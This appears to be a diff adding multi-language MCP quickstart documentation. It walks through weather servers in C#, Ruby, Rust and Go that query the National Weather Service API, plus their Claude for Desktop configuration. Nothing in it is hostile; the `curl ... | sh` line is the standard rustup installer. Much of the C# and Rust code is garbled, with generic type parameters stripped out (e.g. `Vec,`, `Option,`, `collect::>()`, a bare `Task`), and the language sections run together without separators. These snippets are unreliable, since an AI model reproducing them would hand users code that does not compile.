+ var builder = Host.CreateEmptyApplicationBuilder(settings: null);
+
+ builder.Services.AddMcpServer()
+ .WithStdioServerTransport()
+ .WithToolsFromAssembly();
+
+ builder.Services.AddSingleton(_ =>
+ {
+ var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
+ client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
+ return client;
+ });
+
+ var app = builder.Build();
+
+ await app.RunAsync();
+ ```
+
+
+ When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.
+
+
+ This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.
+
+ ### Weather API helper functions
+
+ Create an extension class for `HttpClient` which helps simplify JSON request handling:
+
+ ```csharp theme={null}
+ using System.Text.Json;
+
+ internal static class HttpClientExt
+ {
+ public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri)
+ {
+ using var response = await client.GetAsync(requestUri);
+ response.EnsureSuccessStatusCode();
+ return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
+ }
+ }
+ ```
+
+ Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:
+
+ ```csharp theme={null}
+ using ModelContextProtocol.Server;
+ using System.ComponentModel;
+ using System.Globalization;
+ using System.Text.Json;
+
+ namespace QuickstartWeatherServer.Tools;
+
+ [McpServerToolType]
+ public static class WeatherTools
+ {
+ [McpServerTool, Description("Get weather alerts for a US state code.")]
+ public static async Task GetAlerts(
+ HttpClient client,
+ [Description("The US state code to get alerts for.")] string state)
+ {
+ using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}");
+ var jsonElement = jsonDocument.RootElement;
+ var alerts = jsonElement.GetProperty("features").EnumerateArray();
+
+ if (!alerts.Any())
+ {
+ return "No active alerts for this state.";
+ }
+
+ return string.Join("\n--\n", alerts.Select(alert =>
+ {
+ JsonElement properties = alert.GetProperty("properties");
+ return $"""
+ Event: {properties.GetProperty("event").GetString()}
+ Area: {properties.GetProperty("areaDesc").GetString()}
+ Severity: {properties.GetProperty("severity").GetString()}
+ Description: {properties.GetProperty("description").GetString()}
+ Instruction: {properties.GetProperty("instruction").GetString()}
+ """;
+ }));
+ }
+
+ [McpServerTool, Description("Get weather forecast for a location.")]
+ public static async Task GetForecast(
+ HttpClient client,
+ [Description("Latitude of the location.")] double latitude,
+ [Description("Longitude of the location.")] double longitude)
+ {
+ var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
+ using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
+ var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
+ ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");
+
+ using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
+ var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();
+
+ return string.Join("\n---\n", periods.Select(period => $"""
+ {period.GetProperty("name").GetString()}
+ Temperature: {period.GetProperty("temperature").GetInt32()}°F
+ Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
+ Forecast: {period.GetProperty("detailedForecast").GetString()}
+ """));
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, run the server using the following command:
+
+ ```bash theme={null}
+ dotnet run
+ ```
+
+ This will start the server and listen for incoming requests on standard input/output.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2024-11-05/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": [
+ "run",
+ "--project",
+ "C:\\ABSOLUTE\\PATH\\TO\\PROJECT",
+ "--no-build"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Ruby
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```ruby theme={null}
+ # ❌ Bad (STDIO)
+ puts "Processing request"
+
+ # ✅ Good (STDIO)
+ require "logger"
+ logger = Logger.new($stderr)
+ logger.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Ruby 2.7 or higher installed.
+
+ ### Set up your environment
+
+ First, let's make sure you have Ruby installed. You can check by running:
+
+ ```bash theme={null}
+ ruby --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ touch weather.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ new-item weather.rb
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up constants
+
+ Open `weather.rb` and add these requires and constants at the top:
+
+ ```ruby theme={null}
+ require "json"
+ require "mcp"
+ require "net/http"
+ require "uri"
+
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.
+
+ ### Helper methods
+
+ Next, let's add helper methods for querying and formatting data from the National Weather Service API:
+
+ ```ruby theme={null}
+ module HelperMethods
+ def make_nws_request(url)
+ uri = URI(url)
+ request = Net::HTTP::Get.new(uri)
+ request["User-Agent"] = USER_AGENT
+ request["Accept"] = "application/geo+json"
+
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
+ http.request(request)
+ end
+
+ raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)
+
+ JSON.parse(response.body)
+ end
+
+ def format_alert(feature)
+ properties = feature["properties"]
+
+ <<~ALERT
+ Event: #{properties["event"] || "Unknown"}
+ Area: #{properties["areaDesc"] || "Unknown"}
+ Severity: #{properties["severity"] || "Unknown"}
+ Description: #{properties["description"] || "No description available"}
+ Instructions: #{properties["instruction"] || "No specific instructions provided"}
+ ALERT
+ end
+ end
+ ```
+
+ ### Implementing tool execution
+
+ Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:
+
+ ```ruby theme={null}
+ class GetAlerts < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_alerts"
+ description "Get weather alerts for a US state"
+ input_schema(
+ properties: {
+ state: {
+ type: "string",
+ description: "Two-letter US state code (e.g. CA, NY)"
+ }
+ },
+ required: ["state"]
+ )
+
+ def self.call(state:)
+ url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
+ data = make_nws_request(url)
+
+ if data["features"].empty?
+ return MCP::Tool::Response.new([{
+ type: "text",
+ text: "No active alerts for this state."
+ }])
+ end
+
+ alerts = data["features"].map { |feature| format_alert(feature) }
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: alerts.join("\n---\n")
+ }])
+ end
+ end
+
+ class GetForecast < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_forecast"
+ description "Get weather forecast for a location"
+ input_schema(
+ properties: {
+ latitude: {
+ type: "number",
+ description: "Latitude of the location"
+ },
+ longitude: {
+ type: "number",
+ description: "Longitude of the location"
+ }
+ },
+ required: ["latitude", "longitude"]
+ )
+
+ def self.call(latitude:, longitude:)
+ # First get the forecast grid endpoint.
+ points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
+ points_data = make_nws_request(points_url)
+
+ # Get the forecast URL from the points response.
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = make_nws_request(forecast_url)
+
+ # Format the periods into a readable forecast.
+ periods = forecast_data["properties"]["periods"]
+ forecasts = periods.first(5).map do |period|
+ <<~FORECAST
+ #{period["name"]}:
+ Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
+ Wind: #{period["windSpeed"]} #{period["windDirection"]}
+ Forecast: #{period["detailedForecast"]}
+ FORECAST
+ end
+
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: forecasts.join("\n---\n")
+ }])
+ end
+ end
+ ```
+
+ ### Running the server
+
+ Finally, initialize and run the server:
+
+ ```ruby theme={null}
+ server = MCP::Server.new(
+ name: "weather",
+ version: "1.0.0",
+ tools: [GetAlerts, GetForecast]
+ )
+
+ transport = MCP::Server::Transports::StdioTransport.new(server)
+ transport.open
+ ```
+
+ Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2024-11-05/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Rust programming language
+ * Async/await in Rust
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust.
+ * Configure your logging framework to avoid stdout output.
+
+ ### Quick Examples
+
+ ```rust theme={null}
+ // ❌ Bad (STDIO)
+ println!("Processing request");
+
+ // ✅ Good (STDIO)
+ eprintln!("Processing request"); // writes to stderr
+ ```
+
+ ### System requirements
+
+ * Rust 1.70 or higher installed.
+ * Cargo (comes with Rust installation).
+
+ ### Set up your environment
+
+ First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install):
+
+
+ ```bash macOS/Linux theme={null}
+ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+ ```
+
+ ```powershell Windows theme={null}
+ # Download and run rustup-init.exe from https://rustup.rs/
+ ```
+
+
+ Verify your Rust installation:
+
+ ```bash theme={null}
+ rustc --version
+ cargo --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+
+ Update your `Cargo.toml` to add the required dependencies:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "weather"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] }
+ tokio = { version = "1.46", features = ["full"] }
+ reqwest = { version = "0.12", features = ["json"] }
+ serde = { version = "1.0", features = ["derive"] }
+ serde_json = "1.0"
+ anyhow = "1.0"
+ tracing = "0.1"
+ tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Open `src/main.rs` and add these imports and constants at the top:
+
+ ```rust theme={null}
+ use anyhow::Result;
+ use rmcp::{
+ ServerHandler, ServiceExt,
+ handler::server::{router::tool::ToolRouter, tool::Parameters},
+ model::*,
+ schemars, tool, tool_handler, tool_router,
+ };
+ use serde::Deserialize;
+ use serde::de::DeserializeOwned;
+
+ const NWS_API_BASE: &str = "https://api.weather.gov";
+ const USER_AGENT: &str = "weather-app/1.0";
+ ```
+
+ The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.
+
+ ### Data structures
+
+ Next, let's define the data structures for deserializing responses from the National Weather Service API:
+
+ ```rust theme={null}
+ #[derive(Debug, Deserialize)]
+ struct AlertsResponse {
+ features: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertFeature {
+ properties: AlertProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertProperties {
+ event: Option,
+ #[serde(rename = "areaDesc")]
+ area_desc: Option,
+ severity: Option,
+ description: Option,
+ instruction: Option,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsResponse {
+ properties: PointsProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsProperties {
+ forecast: String,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastResponse {
+ properties: ForecastProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastProperties {
+ periods: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastPeriod {
+ name: String,
+ temperature: i32,
+ #[serde(rename = "temperatureUnit")]
+ temperature_unit: String,
+ #[serde(rename = "windSpeed")]
+ wind_speed: String,
+ #[serde(rename = "windDirection")]
+ wind_direction: String,
+ #[serde(rename = "detailedForecast")]
+ detailed_forecast: String,
+ }
+ ```
+
+ Now define the request types that MCP clients will send:
+
+ ```rust theme={null}
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPForecastRequest {
+ latitude: f32,
+ longitude: f32,
+ }
+
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPAlertRequest {
+ state: String,
+ }
+ ```
+
+ ### Helper functions
+
+ Add helper functions for making API requests and formatting responses:
+
+ ```rust theme={null}
+ async fn make_nws_request(url: &str) -> Result {
+ let client = reqwest::Client::new();
+ let rsp = client
+ .get(url)
+ .header(reqwest::header::USER_AGENT, USER_AGENT)
+ .header(reqwest::header::ACCEPT, "application/geo+json")
+ .send()
+ .await?
+ .error_for_status()?;
+ Ok(rsp.json::().await?)
+ }
+
+ fn format_alert(feature: &AlertFeature) -> String {
+ let props = &feature.properties;
+ format!(
+ "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
+ props.event.as_deref().unwrap_or("Unknown"),
+ props.area_desc.as_deref().unwrap_or("Unknown"),
+ props.severity.as_deref().unwrap_or("Unknown"),
+ props
+ .description
+ .as_deref()
+ .unwrap_or("No description available"),
+ props
+ .instruction
+ .as_deref()
+ .unwrap_or("No specific instructions provided")
+ )
+ }
+
+ fn format_period(period: &ForecastPeriod) -> String {
+ format!(
+ "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
+ period.name,
+ period.temperature,
+ period.temperature_unit,
+ period.wind_speed,
+ period.wind_direction,
+ period.detailed_forecast
+ )
+ }
+ ```
+
+ ### Implementing the Weather server and tools
+
+ Now let's implement the main Weather server struct with the tool handlers:
+
+ ```rust theme={null}
+ pub struct Weather {
+ tool_router: ToolRouter,
+ }
+
+ #[tool_router]
+ impl Weather {
+ fn new() -> Self {
+ Self {
+ tool_router: Self::tool_router(),
+ }
+ }
+
+ #[tool(description = "Get weather alerts for a US state.")]
+ async fn get_alerts(
+ &self,
+ Parameters(MCPAlertRequest { state }): Parameters,
+ ) -> String {
+ let url = format!(
+ "{}/alerts/active/area/{}",
+ NWS_API_BASE,
+ state.to_uppercase()
+ );
+
+ match make_nws_request::(&url).await {
+ Ok(data) => {
+ if data.features.is_empty() {
+ "No active alerts for this state.".to_string()
+ } else {
+ data.features
+ .iter()
+ .map(format_alert)
+ .collect::>()
+ .join("\n---\n")
+ }
+ }
+ Err(_) => "Unable to fetch alerts or no alerts found.".to_string(),
+ }
+ }
+
+ #[tool(description = "Get weather forecast for a location.")]
+ async fn get_forecast(
+ &self,
+ Parameters(MCPForecastRequest {
+ latitude,
+ longitude,
+ }): Parameters,
+ ) -> String {
+ let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}");
+ let Ok(points_data) = make_nws_request::(&points_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let forecast_url = points_data.properties.forecast;
+
+ let Ok(forecast_data) = make_nws_request::(&forecast_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let periods = &forecast_data.properties.periods;
+ let forecast_summary: String = periods
+ .iter()
+ .take(5) // Next 5 periods only
+ .map(format_period)
+ .collect::>()
+ .join("\n---\n");
+ forecast_summary
+ }
+ }
+ ```
+
+ The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.
+
+ ### Implementing the ServerHandler
+
+ Implement the `ServerHandler` trait to define server capabilities:
+
+ ```rust theme={null}
+ #[tool_handler]
+ impl ServerHandler for Weather {
+ fn get_info(&self) -> ServerInfo {
+ ServerInfo {
+ capabilities: ServerCapabilities::builder().enable_tools().build(),
+ ..Default::default()
+ }
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server with stdio transport:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ let transport = (tokio::io::stdin(), tokio::io::stdout());
+ let service = Weather::new().serve(transport).await?;
+ service.waiting().await?;
+ Ok(())
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ cargo build --release
+ ```
+
+ The compiled binary will be in `target/release/weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2024-11-05/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Go
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
+ * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly.
+
+ ### Quick Examples
+
+ ```go theme={null}
+ // ❌ Bad (STDIO)
+ fmt.Println("Processing request")
+
+ // ✅ Good (STDIO)
+ log.Println("Processing request") // defaults to stderr
+
+ // ✅ Good (STDIO)
+ fmt.Fprintln(os.Stderr, "Processing request")
+ ```
+
+ ### System requirements
+
+ * Go 1.24 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/).
+
+ Verify your Go installation:
+
+ ```bash theme={null}
+ go version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ touch main.go
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ new-item main.go
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Add these to the top of your `main.go`:
+
+ ```go theme={null}
+ package main
+
+ import (
+ "cmp"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "strings"
+
+ "github.com/modelcontextprotocol/go-sdk/mcp"
+ )
+
+ const (
+ NWSAPIBase = "https://api.weather.gov"
+ UserAgent = "weather-app/1.0"
+ )
+ ```
+
+ ### Data structures
+
+ Next, let's define the data structures used by our tools:
+
+ ```go theme={null}
+ type PointsResponse struct {
+ Properties struct {
+ Forecast string `json:"forecast"`
+ } `json:"properties"`
+ }
+
+ type ForecastResponse struct {
+ Properties struct {
+ Periods []ForecastPeriod `json:"periods"`
+ } `json:"properties"`
+ }
+
+ type ForecastPeriod struct {
+ Name string `json:"name"`
+ Temperature int `json:"temperature"`
+ TemperatureUnit string `json:"temperatureUnit"`
+ WindSpeed string `json:"windSpeed"`
+ WindDirection string `json:"windDirection"`
+ DetailedForecast string `json:"detailedForecast"`
+ }
+
+ type AlertsResponse struct {
+ Features []AlertFeature `json:"features"`
+ }
+
+ type AlertFeature struct {
+ Properties AlertProperties `json:"properties"`
+ }
+
+ type AlertProperties struct {
+ Event string `json:"event"`
+ AreaDesc string `json:"areaDesc"`
+ Severity string `json:"severity"`
+ Description string `json:"description"`
+ Instruction string `json:"instruction"`
+ }
+
+ type ForecastInput struct {
+ Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
+ Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
+ }
+
+ type AlertsInput struct {
+ State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
+ }
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```go theme={null}
+ func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create request: %w", err)
+ }
+
+ req.Header.Set("User-Agent", UserAgent)
+ req.Header.Set("Accept", "application/geo+json")
+
+ client := http.DefaultClient
+ resp, err := client.Do(req)
+ if err != nil {
+ return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ body, _ := io.ReadAll(resp.Body)
+ return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
+ }
+
+ var result T
+ if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
+ return nil, fmt.Errorf("failed to decode response: %w", err)
+ }
+
+ return &result, nil
+ }
+
+ func formatAlert(alert AlertFeature) string {
+ props := alert.Properties
+ event := cmp.Or(props.Event, "Unknown")
+ areaDesc := cmp.Or(props.AreaDesc, "Unknown")
+ severity := cmp.Or(props.Severity, "Unknown")
+ description := cmp.Or(props.Description, "No description available")
+ instruction := cmp.Or(props.Instruction, "No specific instructions provided")
+
+ return fmt.Sprintf(`
+ Event: %s
+ Area: %s
+ Severity: %s
+ Description: %s
+ Instructions: %s
+ `, event, areaDesc, severity, description, instruction)
+ }
+
+ func formatPeriod(period ForecastPeriod) string {
+ return fmt.Sprintf(`
+ %s:
+ Temperature: %d°%s
+ Wind: %s %s
+ Forecast: %s
+ `, period.Name, period.Temperature, period.TemperatureUnit,
+ period.WindSpeed, period.WindDirection, period.DetailedForecast)
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```go theme={null}
+ func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Get points data
+ pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
+ pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
+ },
+ }, nil, nil
+ }
+
+ // Get forecast data
+ forecastURL := pointsData.Properties.Forecast
+ if forecastURL == "" {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast URL."},
+ },
+ }, nil, nil
+ }
+
+ forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch detailed forecast."},
+ },
+ }, nil, nil
+ }
+
+ // Format the periods
+ periods := forecastData.Properties.Periods
+ if len(periods) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No forecast periods available."},
+ },
+ }, nil, nil
+ }
+
+ // Show next 5 periods
+ var forecasts []string
+ for i := range min(5, len(periods)) {
+ forecasts = append(forecasts, formatPeriod(periods[i]))
+ }
+
+ result := strings.Join(forecasts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
